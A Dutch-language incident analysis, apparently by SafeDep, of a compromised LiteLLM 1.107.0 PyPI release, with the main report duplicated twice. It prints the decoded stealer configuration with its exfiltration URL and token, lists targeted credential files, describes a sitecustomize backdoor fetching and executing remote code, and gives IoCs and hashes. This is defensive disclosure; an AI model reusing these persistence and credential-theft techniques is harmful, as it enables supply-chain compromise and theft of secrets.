Analyse van LiteLLM 1.107.0 Compromis
Het Incident Versie 1.107.0 van de Python-bibliotheek LiteLLM op PyPI is gecompromitteerd. De kwaadaardige release installeert drie bestanden in site-packages die actief worden zodra er een Python-proces start, ongeacht of litellm wordt geïmporteerd.
De Payload De aanval bestaat uit twee hoofdonderdelen:
- Credential Stealer (
cook.py): Verzamelt uitgebreide gevoelige data, waaronder SSH-sleutels, cloud-credentials (AWS, Azure, GCP), browserwachtwoorden, AI-tool tokens en LLM-provider sleutels. Deze data wordt versleuteld verzonden naar www.litellm[.]dev.
- Backdoor (
sitecustomize.py): Start een achtergrond-daemon die elk uur een serveradres ophaalt van GitHub om vervolgens willekeurige code te downloaden en uit te voeren (RCE).
Technische Details De malware werd geïnjecteerd via een aanpassing in het pyproject.toml bestand (data = "cook"), waardoor de kwaadaardige map in de wheels terechtkwam. Het bewijs wijst erop dat de private release-pipeline van BerriAI is gecompromitteerd, aangezien de kwaadaardige code niet in de publieke GitHub-bron aanwezig is.
Status en Herstel PyPI heeft de release inmiddels verwijderd. Gebruikers kunnen controleren op infecties via specifieke IoC's zoals de aanwezigheid van cook.py of sitecustomize.py in hun site-packages folder.
Gecomepromitteerde LiteLLM 1.107.0 op PyPI installeert een credential stealer en backdoor
Versies 1.106.2, 1.107.0rc1 en 1.107.0rc2 zijn schoon. De begeleidende pakketten die 1.107.0 vastzet, litellm-proxy-extras==0.4.110 en litellm-enterprise==0.1.78, zijn eveneens schoon.
Wat de aanval doet
Het installeren van litellm==1.107.0 plaatst drie bestanden in site-packages. Python laadt er twee telkens wanneer het wordt opgestart:
- cook.pth: Deze importeert
cook.py, een credential stealer. Deze verzamelt SSH-sleutels, cloud-gegevens, CI/CD-geheimen, AI-tool-tokens, browserwachtwoorden en de LLM-provider-sleutels uit een LiteLLM-proxy-database. De gegevens worden versleuteld en verzonden naar www.litellm[.]dev.
- sitecustomize.py: Deze start een achtergrond-daemon. Elk uur leest de daemon een serveradres uit een GitHub-bestand, voert de stealer opnieuw uit en downloadt en voert code uit van die server.
Hoe het implantaat in de release terechtkwam
Het pyproject.toml bestand in de 1.107.0 source distribution (sdist) bevat één extra regel in de maturin build-sectie:
[tool.maturin]
...
python-source = "."
data = "cook" # <-- geïnjecteerd
python-packages = ["litellm_cli"] # legitiem (aanwezig in upstream)
De instelling maturin data = "cook" kopieert een cook/ map naar litellm-1.107.0.data/purelib/ in de wheel. Pip installeert die map vervolgens in site-packages.
De sdist laat de cook/ map weg, waardoor deze regel de enige zichtbare wijziging is. Geen enkele publieke commit in BerriAI/litellm bevat data = "cook" of een cook/ map.
Het RECORD bestand van de wheel vermeldt de drie toegevoegde bestanden:
litellm-1.107.0.dist-info/RECORD
litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook"
litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer
De release komt niet overeen met de tag
De tag v1.107.0 verwijst naar commit 66c8f5b (06:59 UTC). Het bijbehorende pyproject.toml vermeldt version = "1.108.0". SafeDep vergeleek elk sdist-bestand met de git-trees via blob-hash. De sdist komt overeen met een latere main-commit, a8113b0 (08:50 UTC), plus vijf bewerkte bestanden en de cook/ map.
Vier van de bewerkte bestanden zijn Cargo.toml bestanden waaraan een readme = "README.md" regel is toegevoegd. De legitieme 1.106.2 en rc2 releases hebben dezelfde bewerking. Het vijfde bestand is pyproject.toml, vergeleken met a8113b0:
pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz)
-version = "1.108.0"
+version = "1.107.0"
- "litellm-proxy-extras==0.4.111",
- "litellm-enterprise==0.1.79",
+ "litellm-proxy-extras==0.4.110", # zelfde pins als 1.107.0rc2
+ "litellm-enterprise==0.1.78",
+data = "cook" # de injectie
...
-version = "1.108.0" # tweede versie-veld
+version = "1.107.0"
De bewerking zet de versie terug naar 1.107.0 en zet de begeleidende pakketten vast op de rc2-waarden. Hierdoor vertoont een dependency diff tegenover rc2 niets ongewoons. De legitieme 1.106.2 sdist komt overeen met zijn tag-commit 49943cd, op de Cargo.toml readme-regels na.
Hoe de wheels zijn gebouwd
De kwaadaardige wheels komen overeen met de output van de normale BerriAI release-pipeline:
- Het
WHEEL bestand noemt maturin 1.9.4, dezelfde versie als in de legitieme releases. De implant-bestanden hebben correcte RECORD vermeldingen, wat aantoont dat er na de build geen wijzigingen zijn aangebracht.
- Zip-tijdstempels tonen aparte native builds: macOS om 11:20, Linux om 11:21 en Windows om 11:37 UTC.
- In de Windows wheel hebben alle 2.804
.py bestanden CRLF-regeleinden, inclusief de drie implant-bestanden. De Linux wheel heeft deze niet. Een git checkout op Windows met regeleinde-conversie produceert dit patroon.
Geen enkele publieke GitHub Actions run bouwde of publiceerde de release. SafeDep controleerde alle 539 runs tussen 09:30 en 12:30 UTC.
Om 11:50 UTC, ongeveer 10 minuten na de PyPI-upload, publiceerde litellm-dispatcher[bot] de GitHub release v1.107.0. Dezelfde vertraging deed zich voor bij 1.106.2. PyPI heeft geen provenance attestaties voor 1.107.0, 1.106.2 of rc2.
SafeDep stelt, met matige tot hoge zekerheid vast, dat de private release-pipeline van BerriAI deze wheels heeft gebouwd vanuit een door een aanvaller gewijzigde git-bron. De aanvaller zou een gecompromitteerde maintainer- of bot-credential, een private branch of mirror, of de referentie waarvan de pipeline bouwt, hebben gebruikt. Een gestolen PyPI-token gebruikt vanaf de eigen machines van de aanvaller past minder goed bij het bewijs. Alleen de pipeline-logs van BerriAI kunnen de oorzaak bevestigen.
Payload 1: de credential stealer in cook.py
Bij het opstarten voert Python elke regel uit die begint met import in een .pth bestand in site-packages. cook.pth bevat import cook, waardoor de stealer wordt uitgevoerd in elk Python-proces op de host: de applicatie, pip, IDE language servers en CI-jobs.
cook.py verpakt ongeveer 61 KB Python-code in één laag van exec(zlib.decompress(base64.b64decode('...'))). De gedecodeerde code begint met deze configuratie:
cook.py (gedecodeerd)
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # verzonden als X-Token header
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True # draait in een daemon thread
PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey']
Wat er wordt verzameld
| Module | Doelen |
| sysinfo, netinfo | Hostnaam, gebruiker, besturingssysteem, IP-adressen, netwerkinstellingen |
| browser_pw | Chromium opgeslagen wachtwoorden (gedecrypteerd met profile master key/DPAPI op Windows), Firefox logins.json en key4.db |
| browser_hist | Browsergeschiedenis |
| ssh_keys | ~/.ssh/* |
| shell_hist | bash en zsh geschiedenis, PowerShell PSReadLine, cmd geschiedenis |
| cloud_creds | ~/.aws/credentials en config, Azure profiel en tokens, gcloud credentials, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrc |
| dev_secrets | .pem, .key, .pfx, .p12, .pk8, .ppk bestanden onder $HOME, Composer auth.json, FileZilla opgeslagen servers |
| container_creds | Kubernetes service account token |
| cicd_secrets | GitLab runner config.toml, Jenkins initialAdminPassword en master.key, .vault-token, Terraform credentials.tfrc.json, Packer settings |
| ai_devtools | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face token |
| env_vars | Eigen omgeving en de omgeving van andere processen via /proc/<pid>/environ |
| db_litellm | Leest DATABASEURL en dumpt de LiteLLMCredentialsTable en LiteLLM_ProxyModelTable tabellen, waarin de API-sleutels van de LLM-provider van een LiteLLM-proxy staan |
| cloud_metadata | AWS instance metadata service (IMDSv2, daarna v1): instance identity en role credentials |
| gpgkeys, tlsprivkey | GPG-sleutels, TLS private keys |
Hoe de data wordt verzonden
De tool versleutelt de JSON-resultaten met een willekeurige AES-256-CBC sleutel, en versleutelt die sleutel vervolgens met RSA-OAEP en de ingebedde publieke sleutel.
Het resultaat wordt verpakt in een tar.gz (hdr.json, data.bin, key.bin) en verzonden in een POST-verzoek naar www.litellm[.]dev/healthcheck met de header X-Token: XWiA8gZNa7NcX2XRoAEb.
Na een succesvolle upload wordt /tmp/.pconce72129118c59f5636c0bb geschreven, zodat er slechts één keer per host gegevens worden verzameld. Er wordt ook PRIVCOLLECT_ACTIVE=1 ingesteld om een tweede run in dezelfde procesboom te voorkomen.
Payload 2: de backdoor in sitecustomize.py
Python importeert sitecustomize bij het opstarten, waardoor dit bestand ook in elk Python-proces wordt uitgevoerd.
sitecustomize.py
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"
Het bestand neemt een exclusieve lock op /tmp/remotecodeloader.lock, zodat er slechts één daemon per host draait. Het roept fork() en setid() aan, stuurt standaard input en output naar /dev/null en verandert de directory naar / om zich los te koppelen van het ouderproces.
Elk uur doet het het volgende:
- Leest
domain.txt uit het GitHub-repository van de aanvaller en neemt de eerste regel die lijkt op een domein.
- Voert zijn ingebedde kopie van de stealer uit (die geen marker voor "één keer per host" heeft).
- Downloadt
http://<domein>/codepy en voert dit uit met exec().
De aanvaller kan de daemon naar een nieuwe server sturen door domain.txt te bewerken. Elke geïnfecteerde host voert uit wat die server teruggeeft als codepy.
Om 13:40 UTC gaven het GitHub-account letters9813 en het bijbehorende repository een 404-fout, ongeveer twee uur na de release. De backdoor vindt nu geen serveradres meer en doet niets. Hosts die de daemon hebben uitgevoerd vóór de verwijdering, kunnen second-stage code hebben ontvangen en uitgevoerd. SafeDep kon het serveradres niet herstellen.
Tijdlijn
Alle tijden zijn UTC op 21-10-2026.
| Tijd | Gebeurtenis |
| 06:59 | Tag v1.107.0 commit 66c8f5b aangemaakt |
| 08:50 | Commit a8113b0 op main, de basis van de release bron |
| 10:44 | Legitieme 1.106.2 geüpload naar PyPI |
| 11:20 tot 11:37 | Kwaadaardige 1.107.0 wheels gebouwd |
| 11:39 tot 11:40 | 1.107.0 geüpload naar PyPI (alle 8 bestanden) |
| 11:50 | litellm-dispatcher[bot] publiceert GitHub release v1.107.0 |
| 13:40 | Geobserveerd: 1.107.0 verwijderd van PyPI, account letters9813 verwijderd |
Indicatoren van compromittering (IoC)
Netwerk
| Indicator | Doel |
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheck | Ontvangt gestolen gegevens |
HTTP header X-Token: XWiA8gZNa7NcX2XRoAEb | Verzonden met elke upload |
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt | Backdoor leest hier het serveradres (account verwijderd) |
hxxp://<domein>/codepy | Download van second-stage code |
Verzoeken naar 169.254.169.254 vanuit Python processen | Diefstal van AWS instance credentials |
Host
| Indicator | Betekenis |
cook.pth, cook.py, sitecustomize.py in site-packages | Implantaat geïnstalleerd |
/tmp/.pconce72129118c59f5636c0bb | Stealer heeft al gegevens geüpload |
/tmp/remotecodeloader.lock | Backdoor daemon is uitgevoerd |
Omgevingsvariabele PRIVCOLLECT_ACTIVE=1 | Aanwezig in geïnfecteerde processen |
Losgekoppelde Python daemon (parent PID 1, eigen sessie, working directory /) | Backdoor loop |
Bestands-hashes (SHA-256)
| Bestand | SHA-256 |
litellm-1.107.0.tar.gz | 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819 |
litellm-1.107.0-cp310-abi3-manylinux228x8664.whl | 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7 |
litellm-1.107.0-cp310-abi3-manylinux228_aarch64.whl | 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6 |
litellm-1.107.0-cp310-abi3-musllinux12x8664.whl | 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00 |
litellm-1.107.0-cp310-abi3-musllinux12_aarch64.whl | c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054 |
litellm-1.107.0-cp310-abi3-macosx1012x8664.whl | 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d |
litellm-1.107.0-cp310-abi3-macosx110_arm64.whl | 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a |
litellm-1.107.0-cp310-abi3-win_amd64.whl | 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484 |
De geplante bestanden, uit de wheel RECORD:
| Bestand | SHA-256 (URL-safe base64) |
cook.pth | fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s |
cook.py | ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU |
sitecustomize.py | NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo |
Gecomepromitteerde LiteLLM 1.107.0 op PyPI installeert een credential stealer en backdoor
Versies 1.106.2, 1.107.0rc1 en 1.107.0rc2 zijn schoon. De begeleidende pakketten die 1.107.0 vastzet, litellm-proxy-extras==0.4.110 en litellm-enterprise==0.1.78, zijn eveneens schoon.
Wat de aanval doet
Het installeren van litellm==1.107.0 plaatst drie bestanden in site-packages. Python laadt er twee telkens wanneer het wordt opgestart:
- cook.pth: Deze importeert
cook.py, een credential stealer. Deze verzamelt SSH-sleutels, cloud-gegevens, CI/CD-geheimen, AI-tool-tokens, browserwachtwoorden en de LLM-provider-sleutels uit een LiteLLM-proxy-database. De gegevens worden versleuteld en verzonden naar www.litellm[.]dev.
- sitecustomize.py: Deze start een achtergrond-daemon. Elk uur leest de daemon een serveradres uit een GitHub-bestand, voert de stealer opnieuw uit en downloadt en voert code uit van die server.
Hoe het implantaat in de release terechtkwam
Het pyproject.toml bestand in de 1.107.0 source distribution (sdist) bevat één extra regel in de maturin build-sectie:
[tool.maturin]
...
python-source = "."
data = "cook" # <-- geïnjecteerd
python-packages = ["litellm_cli"] # legitiem (aanwezig in upstream)
De instelling maturin data = "cook" kopieert een cook/ map naar litellm-1.107.0.data/purelib/ in de wheel. Pip installeert die map vervolgens in site-packages.
De sdist laat de cook/ map weg, waardoor deze regel de enige zichtbare wijziging is. Geen enkele publieke commit in BerriAI/litellm bevat data = "cook" of een cook/ map.
Het RECORD bestand van de wheel vermeldt de drie toegevoegde bestanden:
litellm-1.107.0.dist-info/RECORD
litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook"
litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer
De release komt niet overeen met de tag
De tag v1.107.0 verwijst naar commit 66c8f5b (06:59 UTC). Het bijbehorende pyproject.toml vermeldt version = "1.108.0". SafeDep vergeleek elk sdist-bestand met de git-trees via blob-hash. De sdist komt overeen met een latere main-commit, a8113b0 (08:50 UTC), plus vijf bewerkte bestanden en de cook/ map.
Vier van de bewerkte bestanden zijn Cargo.toml bestanden waaraan een readme = "README.md" regel is toegevoegd. De legitieme 1.106.2 en rc2 releases hebben dezelfde bewerking. Het vijfde bestand is pyproject.toml, vergeleken met a8113b0:
pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz)
-version = "1.108.0"
+version = "1.107.0"
- "litellm-proxy-extras==0.4.111",
- "litellm-enterprise==0.1.79",
+ "litellm-proxy-extras==0.4.110", # zelfde pins als 1.107.0rc2
+ "litellm-enterprise==0.1.78",
+data = "cook" # de injectie
...
-version = "1.108.0" # tweede versie-veld
+version = "1.107.0"
De bewerking zet de versie terug naar 1.107.0 en zet de begeleidende pakketten vast op de rc2-waarden. Hierdoor vertoont een dependency diff tegenover rc2 niets ongewoons. De legitieme 1.106.2 sdist komt overeen met zijn tag-commit 49943cd, op de Cargo.toml readme-regels na.
Hoe de wheels zijn gebouwd
De kwaadaardige wheels komen overeen met de output van de normale BerriAI release-pipeline:
- Het
WHEEL bestand noemt maturin 1.9.4, dezelfde versie als in de legitieme releases. De implant-bestanden hebben correcte RECORD vermeldingen, wat aantoont dat er na de build geen wijzigingen zijn aangebracht.
- Zip-tijdstempels tonen aparte native builds: macOS om 11:20, Linux om 11:21 en Windows om 11:37 UTC.
- In de Windows wheel hebben alle 2.804
.py bestanden CRLF-regeleinden, inclusief de drie implant-bestanden. De Linux wheel heeft deze niet. Een git checkout op Windows met regeleinde-conversie produceert dit patroon.
Geen enkele publieke GitHub Actions run bouwde of publiceerde de release. SafeDep controleerde alle 539 runs tussen 09:30 en 12:30 UTC.
Om 11:50 UTC, ongeveer 10 minuten na de PyPI-upload, publiceerde litellm-dispatcher[bot] de GitHub release v1.107.0. Dezelfde vertraging deed zich voor bij 1.106.2. PyPI heeft geen provenance attestaties voor 1.107.0, 1.106.2 of rc2.
SafeDep stelt, met matige tot hoge zekerheid vast, dat de private release-pipeline van BerriAI deze wheels heeft gebouwd vanuit een door een aanvaller gewijzigde git-bron. De aanvaller zou een gecompromitteerde maintainer- of bot-credential, een private branch of mirror, of de referentie waarvan de pipeline bouwt, hebben gebruikt. Een gestolen PyPI-token gebruikt vanaf de eigen machines van de aanvaller past minder goed bij het bewijs. Alleen de pipeline-logs van BerriAI kunnen de oorzaak bevestigen.
Payload 1: de credential stealer in cook.py
Bij het opstarten voert Python elke regel uit die begint met import in een .pth bestand in site-packages. cook.pth bevat import cook, waardoor de stealer wordt uitgevoerd in elk Python-proces op de host: de applicatie, pip, IDE language servers en CI-jobs.
cook.py verpakt ongeveer 61 KB Python-code in één laag van exec(zlib.decompress(base64.b64decode('...'))). De gedecodeerde code begint met deze configuratie:
cook.py (gedecodeerd)
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # verzonden als X-Token header
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True # draait in een daemon thread
PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey']
Wat er wordt verzameld
| Module | Doelen |
| sysinfo, netinfo | Hostnaam, gebruiker, besturingssysteem, IP-adressen, netwerkinstellingen |
| browser_pw | Chromium opgeslagen wachtwoorden (gedecrypteerd met profile master key/DPAPI op Windows), Firefox logins.json en key4.db |
| browser_hist | Browsergeschiedenis |
| ssh_keys | ~/.ssh/* |
| shell_hist | bash en zsh geschiedenis, PowerShell PSReadLine, cmd geschiedenis |
| cloud_creds | ~/.aws/credentials en config, Azure profiel en tokens, gcloud credentials, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrc |
| dev_secrets | .pem, .key, .pfx, .p12, .pk8, .ppk bestanden onder $HOME, Composer auth.json, FileZilla opgeslagen servers |
| container_creds | Kubernetes service account token |
| cicd_secrets | GitLab runner config.toml, Jenkins initialAdminPassword en master.key, .vault-token, Terraform credentials.tfrc.json, Packer settings |
| ai_devtools | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face token |
| env_vars | Eigen omgeving en de omgeving van andere processen via /proc/<pid>/environ |
| db_litellm | Leest DATABASEURL en dumpt de LiteLLMCredentialsTable en LiteLLM_ProxyModelTable tabellen, waarin de API-sleutels van de LLM-provider van een LiteLLM-proxy staan |
| cloud_metadata | AWS instance metadata service (IMDSv2, daarna v1): instance identity en role credentials |
| gpgkeys, tlsprivkey | GPG-sleutels, TLS private keys |
Hoe de data wordt verzonden
De tool versleutelt de JSON-resultaten met een willekeurige AES-256-CBC sleutel, en versleutelt die sleutel vervolgens met RSA-OAEP en de ingebedde publieke sleutel.
Het resultaat wordt verpakt in een tar.gz (hdr.json, data.bin, key.bin) en verzonden in een POST-verzoek naar www.litellm[.]dev/healthcheck met de header X-Token: XWiA8gZNa7NcX2XRoAEb.
Na een succesvolle upload wordt /tmp/.pconce72129118c59f5636c0bb geschreven, zodat er slechts één keer per host gegevens worden verzameld. Er wordt ook PRIVCOLLECT_ACTIVE=1 ingesteld om een tweede run in dezelfde procesboom te voorkomen.
Payload 2: de backdoor in sitecustomize.py
Python importeert sitecustomize bij het opstarten, waardoor dit bestand ook in elk Python-proces wordt uitgevoerd.
sitecustomize.py
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"
Het bestand neemt een exclusieve lock op /tmp/remotecodeloader.lock, zodat er slechts één daemon per host draait. Het roept fork() en setid() aan, stuurt standaard input en output naar /dev/null en verandert de directory naar / om zich los te koppelen van het ouderproces.
Elk uur doet het het volgende:
- Leest
domain.txt uit het GitHub-repository van de aanvaller en neemt de eerste regel die lijkt op een domein.
- Voert zijn ingebedde kopie van de stealer uit (die geen marker voor "één keer per host" heeft).
- Downloadt
http://<domein>/codepy en voert dit uit met exec().
De aanvaller kan de daemon naar een nieuwe server sturen door domain.txt te bewerken. Elke geïnfecteerde host voert uit wat die server teruggeeft als codepy.
Om 13:40 UTC gaven het GitHub-account letters9813 en het bijbehorende repository een 404-fout, ongeveer twee uur na de release. De backdoor vindt nu geen serveradres meer en doet niets. Hosts die de daemon hebben uitgevoerd vóór de verwijdering, kunnen second-stage code hebben ontvangen en uitgevoerd. SafeDep kon het serveradres niet herstellen.
Tijdlijn
Alle tijden zijn UTC op 21-10-2026.
| Tijd | Gebeurtenis |
| 06:59 | Tag v1.107.0 commit 66c8f5b aangemaakt |
| 08:50 | Commit a8113b0 op main, de basis van de release bron |
| 10:44 | Legitieme 1.106.2 geüpload naar PyPI |
| 11:20 tot 11:37 | Kwaadaardige 1.107.0 wheels gebouwd |
| 11:39 tot 11:40 | 1.107.0 geüpload naar PyPI (alle 8 bestanden) |
| 11:50 | litellm-dispatcher[bot] publiceert GitHub release v1.107.0 |
| 13:40 | Geobserveerd: 1.107.0 verwijderd van PyPI, account letters9813 verwijderd |
Indicatoren van compromittering (IoC)
Netwerk
| Indicator | Doel |
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheck | Ontvangt gestolen gegevens |
HTTP header X-Token: XWiA8gZNa7NcX2XRoAEb | Verzonden met elke upload |
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt | Backdoor leest hier het serveradres (account verwijderd) |
hxxp://<domein>/codepy | Download van second-stage code |
Verzoeken naar 169.254.169.254 vanuit Python processen | Diefstal van AWS instance credentials |
Host
| Indicator | Betekenis |
cook.pth, cook.py, sitecustomize.py in site-packages | Implantaat geïnstalleerd |
/tmp/.pconce72129118c59f5636c0bb | Stealer heeft al gegevens geüpload |
/tmp/remotecodeloader.lock | Backdoor daemon is uitgevoerd |
Omgevingsvariabele PRIVCOLLECT_ACTIVE=1 | Aanwezig in geïnfecteerde processen |
Losgekoppelde Python daemon (parent PID 1, eigen sessie, working directory /) | Backdoor loop |
Bestands-hashes (SHA-256)
| Bestand | SHA-256 |
litellm-1.107.0.tar.gz | 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819 |
litellm-1.107.0-cp310-abi3-manylinux228x8664.whl | 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7 |
litellm-1.107.0-cp310-abi3-manylinux228_aarch64.whl | 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6 |
litellm-1.107.0-cp310-abi3-musllinux12x8664.whl | 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00 |
litellm-1.107.0-cp310-abi3-musllinux12_aarch64.whl | c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054 |
litellm-1.107.0-cp310-abi3-macosx1012x8664.whl | 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d |
litellm-1.107.0-cp310-abi3-macosx110_arm64.whl | 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a |
litellm-1.107.0-cp310-abi3-win_amd64.whl | 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484 |
De geplante bestanden, uit de wheel RECORD:
| Bestand | SHA-256 (URL-safe base64) |
cook.pth | fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s |
cook.py | ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU |
sitecustomize.py | NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo |